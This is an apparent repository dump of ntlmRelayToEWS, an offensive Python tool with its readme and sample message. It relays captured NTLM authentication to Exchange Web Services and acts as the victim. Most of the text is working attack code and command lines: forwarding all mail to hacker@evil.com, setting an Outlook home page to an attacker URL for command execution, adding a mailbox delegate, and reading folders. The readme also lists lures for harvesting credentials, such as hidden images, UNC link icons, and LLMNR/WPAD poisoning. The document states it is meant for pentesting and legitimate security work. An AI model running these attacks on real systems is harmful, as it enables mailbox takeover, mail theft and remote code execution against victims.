https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/ 114 | elif self.config.ewsRequest == "setHomePage": 115 | print helper.color("[+] Received FolderID for folder [{}]".format(self.config.ewsFolder)) 116 | try: 117 | folderXML = ET.fromstring(self.client.lastresult) 118 | folderID = folderXML.find(".//t:FolderId", exchangeNamespace).get('Id') 119 | changeKey = folderXML.find(".//t:FolderId", exchangeNamespace).get('ChangeKey') 120 | 121 | #---- Prepare the request to set the homePageUrl 122 | homePage = self.encodeHomePageURL(self.config.ewsHomePageURL) 123 | params = {'ExchangeVersion': exchangeVersion, 'FolderId': folderID, 'ChangeKey': changeKey, 'HomePage': homePage } 124 | body = helper.convertFromTemplate(params, templatesFolder + "setHomePage.tpl") 125 | 126 | #---- Send the request 127 | print helper.color("[+] Sending request to set the [{}] folder's home page to [{}]".format(self.config.ewsFolder, self.config.ewsHomePageURL)) 128 | self.client.session.request('POST', self.client.target, body, {"Content-Type":"text/xml"}) 129 | result = self.client.session.getresponse().read() 130 | 131 | #---- Prepare the request to create a hidden folder (trick to force the refresh of the Outlook client) 132 | params = {'ExchangeVersion': exchangeVersion, 'ParentFolder': self.config.ewsFolder } 133 | body = helper.convertFromTemplate(params, templatesFolder + "createHiddenFolder.tpl") 134 | 135 | #---- Send the request 136 | print helper.color("[+] Sending request to create a hidden folder under the [{}] folder".format(self.config.ewsFolder)) 137 | self.client.session.request('POST', self.client.target, body, {"Content-Type":"text/xml"}) 138 | result = self.client.session.getresponse().read() 139 | print helper.color(result, 'blue') 140 | 141 | except Exception, e: 142 | print helper.color("[!] Error processing result for setHomePage: [{}]".format(str(e))) 143 | 144 | #------------------------------ FORWARD RULE ------------------------------ 145 | elif self.config.ewsRequest == "forwardRule": 146 | print helper.color("[+] Forward rule deployed") 147 | print helper.color(self.client.lastresult, 'blue') 148 | 149 | #------------------------------ ADD DELEGATE ------------------------------ 150 | elif self.config.ewsRequest == "addDelegate": 151 | try: 152 | #---- Prepare the request to resolve the user's principal eMail address 153 | params = {'ExchangeVersion': exchangeVersion, 'UserAccount': self.username.replace('\x00','') } 154 | body = helper.convertFromTemplate(params, templatesFolder + "resolveEmailAddr.tpl") 155 | 156 | #---- Send the request 157 | print helper.color("[+] Sending request to resolve the principal eMail address for user [{}] ".format(self.username)) 158 | self.client.session.request('POST', self.client.target, body, {"Content-Type":"text/xml"}) 159 | result = self.client.session.getresponse().read() 160 | 161 | #---- Parse the response and retrieve the eMail address 162 | respXML = ET.fromstring(result) 163 | eMailAddress = respXML.find(".//t:EmailAddress", exchangeNamespace).text 164 | 165 | #---- Prepare the request to add a 'destAddress' as a delegate for the user's mailbox 166 | params = {'ExchangeVersion': exchangeVersion, 'TargetAddress': eMailAddress, 'DelegateAddress': self.config.ewsDestAddress } 167 | body = helper.convertFromTemplate(params, templatesFolder + "addDelegate.tpl") 168 | 169 | #---- Send the request 170 | print helper.color("[+] Sending request to add [{}] as a delegate address for [{}] inbox".format(self.config.ewsDestAddress, eMailAddress)) 171 | self.client.session.request('POST', self.client.target, body, {"Content-Type":"text/xml"}) 172 | result = self.client.session.getresponse().read() 173 | print helper.color(result, 'blue') 174 | 175 | except Exception, e: 176 | print helper.color("[!] Error processing result for addDelegate: [{}]".format(str(e))) 177 | 178 | #------------------------------ DEFAULT ------------------------------ 179 | else: 180 | print helper.color(self.client.lastresult, 'blue') 181 | 182 | #========================================================================================= 183 | # MAIN 184 | #========================================================================================= 185 | # Process command-line arguments. 186 | if __name__ == '__main__': 187 | 188 | RELAY_SERVERS = ( SMBRelayServer, HTTPRelayServer ) 189 | ATTACKS = { 'EWS': EWSAttack} 190 | 191 | print version.BANNER 192 | print helper.color("[*] NtlmRelayX to Exchange Web Services - Author: @Arno0x0x") 193 | 194 | # Parse arguments 195 | parser = argparse.ArgumentParser(add_help = False, description = "For every connection received, this module will " 196 | "try to relay that connection to specified target(s) system") 197 | parser._optionals.title = "Main options" 198 | 199 | # Main arguments 200 | parser.add_argument("-h","--help", action="help", help='show this help message and exit') 201 | parser.add_argument("-v","--verbose", action="store_true", help='Increase output verbositys') 202 | parser.add_argument('-t',"--target", action='store', required=True, metavar = 'TARGET', help='EWS web service target to relay the credentials to, ' 203 | 'in the form of a URL: https://EWSServer/EWS/exchange.asmx') 204 | parser.add_argument('-o', "--output-file", action="store", help='base output filename for encrypted hashes. Suffixes will be added for ntlm and ntlmv2') 205 | parser.add_argument('-machine-account', action='store', required=False, help='Domain machine account to use when ' 206 | 'interacting with the domain to grab a session key for signing, format is domain/machine_name') 207 | parser.add_argument('-machine-hashes', action="store", metavar = "LMHASH:NTHASH", help='Domain machine hashes, format is LMHASH:NTHASH') 208 | parser.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON') 209 | 210 | # EWS API arguments 211 | parser.add_argument("-r","--request", action="store", required=True, choices=['sendMail', 'setHomePage', 'getFolder', 'forwardRule', 'addDelegate'], help='The EWS service to call') 212 | parser.add_argument("-d","--destAddresses", action="store", help='List of e-mail addresses to be used as destination for any EWS service that needs it.' 213 | ' Must be separated by a comma.') 214 | parser.add_argument("-m","--message", action="store", help='Message File containing the body of the message as an HTML file') 215 | parser.add_argument("-s","--subject", action="store", help='Message subject') 216 | parser.add_argument("-f","--folder", action="store", choices=['inbox', 'sentitem', 'deleteditems', 'tasks','calendar','contacts'], help='The Exchange folder name to list') 217 | parser.add_argument("-u","--url", action="store", help='URL to be used for the setHomePage request') 218 | 219 | try: 220 | args = parser.parse_args() 221 | except Exception, e: 222 | print helper.color("[!] " + str(e)) 223 | sys.exit(1) 224 | 225 | # Set output verbosity 226 | if args.verbose: 227 | logger.init() 228 | 229 | #----------------------------------------------------------------- 230 | # Preparing the SOAPXMLRequest for the send eMail EWS Service 231 | #----------------------------------------------------------------- 232 | if args.request == "sendMail": 233 | if args.destAddresses and args.message and args.subject: 234 | #--- Get the message from file 235 | try: 236 | with open(args.message) as fileHandle: 237 | message = cgi.escape(fileHandle.read()) 238 | fileHandle.close() 239 | print helper.color("[+] File [{}] successfully loaded !".format(args.message)) 240 | except IOError: 241 | print color("[!] Could not open or read file [{}]".format(args.message)) 242 | sys.exit(1) 243 | 244 | #--- Prepare the destAddresses block 245 | destAddressBlock = "" 246 | destAddresses = args.destAddresses.split(',') 247 | for destAddress in destAddresses: 248 | destAddressBlock = destAddressBlock + "{}".format(destAddress) 249 | 250 | #--- Prepare the final EWS SOAP XML Request body 251 | body = helper.convertFromTemplate({'ExchangeVersion': exchangeVersion, 'Subject': args.subject, 'Message': message, 'DestAddressBlock': destAddressBlock}, templatesFolder + "sendMail.tpl") 252 | 253 | else: 254 | print helper.color("[!] Missing mandatory arguments for [sendMail] request. Required arguments are: subject / destAddresses / message") 255 | sys.exit(1) 256 | 257 | #----------------------------------------------------------------- 258 | # Preparing the SOAPXMLRequest for the get folder items EWS Service 259 | #----------------------------------------------------------------- 260 | if args.request == "getFolder": 261 | if args.folder: 262 | #--- Prepare the final EWS SOAP XML Request body 263 | body = helper.convertFromTemplate({'ExchangeVersion': exchangeVersion, 'Folder': args.folder},templatesFolder + "listFolder.tpl") 264 | else: 265 | print helper.color("[!] Missing mandatory arguments for [getFolder] request. Required arguments is: folder") 266 | sys.exit(1) 267 | 268 | #----------------------------------------------------------------- 269 | # Preparing the SOAPXMLRequest for the set home page EWS Service 270 | #----------------------------------------------------------------- 271 | if args.request == "setHomePage": 272 | if args.folder and args.url: 273 | #--- Prepare the final EWS SOAP XML Request body 274 | body = helper.convertFromTemplate({'ExchangeVersion': exchangeVersion, 'Folder': args.folder}, templatesFolder + "getFolderID.tpl") 275 | else: 276 | print helper.color("[!] Missing mandatory arguments for [setHomePage] request. Required arguments are: folder / url") 277 | sys.exit(1) 278 | 279 | #----------------------------------------------------------------- 280 | # Preparing the SOAPXMLRequest for the forward rule creation EWS Service 281 | #----------------------------------------------------------------- 282 | if args.request == "forwardRule": 283 | if args.destAddresses: 284 | #--- Prepare the final EWS SOAP XML Request body 285 | body = helper.convertFromTemplate({'ExchangeVersion': exchangeVersion, 'DestAddress': args.destAddresses}, templatesFolder + "forwardRule.tpl") 286 | else: 287 | print helper.color("[!] Missing mandatory arguments for [forwardRule] request. Required arguments are: destAddresses") 288 | sys.exit(1) 289 | 290 | print helper.color("[*] Running in relay mode to single host") 291 | targetSystem = TargetsProcessor(singletarget=args.target) 292 | 293 | #----------------------------------------------------------------- 294 | # Preparing the SOAPXMLRequest for the add delegate EWS Service 295 | #----------------------------------------------------------------- 296 | if args.request == "addDelegate": 297 | if args.destAddresses: 298 | # In the case of adding a delegate, the first request is a GET (so no body) 299 | body = None 300 | else: 301 | print helper.color("[!] Missing mandatory arguments for [addDelegate] request. Required arguments are: destAddresses") 302 | sys.exit(1) 303 | 304 | print helper.color("[*] Running in relay mode to single host") 305 | targetSystem = TargetsProcessor(singletarget=args.target) 306 | 307 | #----------------------------------------------------------------- 308 | # Setting up relay servers 309 | #----------------------------------------------------------------- 310 | for server in RELAY_SERVERS: 311 | #Set up config 312 | c = NTLMRelayxConfig() 313 | c.setTargets(targetSystem) 314 | c.setOutputFile(args.output_file) 315 | c.setEWSParameters(body, args.request, args.folder or None, args.destAddresses or None, args.url or None) 316 | c.setMode('RELAY') 317 | c.setAttacks(ATTACKS) 318 | 319 | if args.machine_account is not None and args.machine_hashes is not None and args.domain is not None: 320 | c.setDomainAccount( args.machine_account, args.machine_hashes, args.domain) 321 | elif (args.machine_account is None and args.machine_hashes is None and args.domain is None) is False: 322 | print helper.color("[!] You must specify machine-account/hashes/domain all together!") 323 | sys.exit(1) 324 | 325 | s = server(c) 326 | s.start() 327 | 328 | print "" 329 | print helper.color("[*] Servers started, waiting for connections") 330 | while True: 331 | try: 332 | sys.stdin.read() 333 | except KeyboardInterrupt: 334 | sys.exit(1) 335 | else: 336 | pass 337 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | ntlmRelayToEWS 2 | ============ 3 | 4 | Author: Arno0x0x - [@Arno0x0x](http://twitter.com/Arno0x0x) 5 | 6 | **ntlmRelayToEWS** is a tool for performing ntlm relay attacks on Exchange Web Services (EWS). It spawns an SMBListener on port 445 and an HTTPListener on port 80, waiting for incoming connection from the victim. Once the victim connects to one of the listeners, an NTLM negociation occurs and is relayed to the target EWS server. 7 | 8 | Obviously this tool does **NOT** implement the whole EWS API, so only a handful of services are implemented that can be useful in some attack scenarios. I might be adding more in the future. See the 'usage' section to get an idea of which EWS calls are being implemented. 9 | 10 | Limitations and Improvements 11 | ---------------------- 12 | **Exchange version**:
13 | I've tested this tool against an **Exchange Server 2010 SP2** only (*which is quite old admitedly*), so all EWS SOAP request templates, as well as the parsing of the EWS responses, are only tested for this version of Exchange. 14 | Although I've not tested myself, some reported this tool is also working against an **Exchange 2016 server**, out of the box (*ie: without any changes to the SOAP request templates*). 15 | 16 | In case those SOAP requests wouldn't work on another version of Exchange, it is pretty easy to create the SOAP request templates to match a newer version by using the Microsoft EWS Managed API in trace mode and capture the proper SOAP requests (*that's how I did it !*). 17 | 18 | **EWS SOAP client**:
19 | I would have loved to use a SOAP client in order to get a proper interface for automatically create all SOAP requests based on the Exchange WSDL. I tried using '**zeep**' but I banged my head on the wall to get it working with the Exchange WSDL as it requires to download external namespaces and as such requires an internet connection. Also, with 'zeep', the use of a custom transport session requires a `Requests.session` which is not the type of HTTP(S) session we have by default with the HTTPClientRelay: it would have required either to refactor the HTTPClientRelay to use '*Requests*' (*/me lazy*) or to simply get zeep to create the messages with `zeep.client.create_message()` and then send it with the relayed session we already have. Or is it because I'm a lame developper ? oh well... 20 | 21 | Prerequisites 22 | ---------------------- 23 | **ntlmRelayToEWS** requires a proper/clean install of [Impacket](https://github.com/CoreSecurity/impacket). So follow their instructions to get a working version of Impacket. 24 | 25 | Usage 26 | ---------------------- 27 | **ntlmRelayToEWS** implements the following attacks, which are all made on behalf of the relayed user (*victim*). 28 | 29 | Refer to the help to get additional info: `./ntlmRelayToEWS -h`. Get more debug information using the `--verbose` or `-v` flag. 30 | 31 | **sendMail**
32 | Sends an HTML formed e-mail to a list of destinations:
33 | `./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r sendMail -d "user1@corporate.org,user2@corporate.com" -s Subject -m sampleMsg.html` 34 | 35 | **getFolder**
36 | Retrieves all items from a predefined folder (*inbox, sent items, calendar, tasks*):
37 | `./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r getFolder -f inbox` 38 | 39 | **forwardRule**
40 | Creates an evil forwarding rule that forwards all incoming message for the victim to another email address:
41 | `./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r forwardRule -d hacker@evil.com` 42 | 43 | **setHomePage**
44 | Defines a folder home page (*usually for the Inbox folder*) by specifying a URL. This technique, uncovered by SensePost/Etienne Stalmans allows for **arbitray command execution** in the victim's Outlook program by forging a specific HTML page: [Outlook Home Page – Another Ruler Vector](https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/):
45 | `./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r setHomePage -f inbox -u http://path.to.evil.com/evilpage.html` 46 | 47 | **addDelegate**
48 | Sets a delegate address on the victim's primary mailbox. In other words, the victim delegates the control of its mailbox to someone else. Once done, it means the delegated address has full control over the victim's mailbox, by simply opening it as an additional mailbox in Outlook:
49 | `./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r addDelegate -d delegated.address@corporate.org` 50 | 51 | How to get the victim to give you their credentials for relaying ? 52 | ---------------------- 53 | In order to get the victim to send his credentials to ntlmRelayToEWS you can use any of the following well known methods: 54 | - Send the victim an e-mail with a hidden picture which 'src' attribute points to the ntlmRelayToEWS server, using either HTTP or SMB. Check the `Invoke-SendEmail.ps1` script to achieve this. 55 | - Create a link file which 'icon' attribute points to the ntlmRelayToEWS using a UNC path and let victim browse a folder with this link 56 | - Perform LLMNR, NBNS or WPAD poisonning (*think of Responder.py or Invoke-Inveigh for instance*) to get any corresponding SMB or HTTP trafic from the victim sent to ntlmRelayToEWS 57 | - other ? 58 | 59 | Credits 60 | ---------------- 61 | Based on [Impacket](https://github.com/CoreSecurity/impacket) and *ntlmrelayx* by Alberto Solino [@agsolino](https://twitter.com/agsolino). 62 | 63 | DISCLAIMER 64 | ---------------- 65 | This tool is intended to be used in a legal and legitimate way only: 66 | - either on your own systems as a means of learning, of demonstrating what can be done and how, or testing your defense and detection mechanisms 67 | - on systems you've been officially and legitimately entitled to perform some security assessments (pentest, security audits) 68 | 69 | Quoting Empire's authors: 70 | *There is no way to build offensive tools useful to the legitimate infosec industry while simultaneously preventing malicious actors from abusing them.* -------------------------------------------------------------------------------- /sampleMsg.html: -------------------------------------------------------------------------------- 1 | Hello, my mailbox has been...
2 |

PWNED!!

3 | --------------------------------------------------------------------------------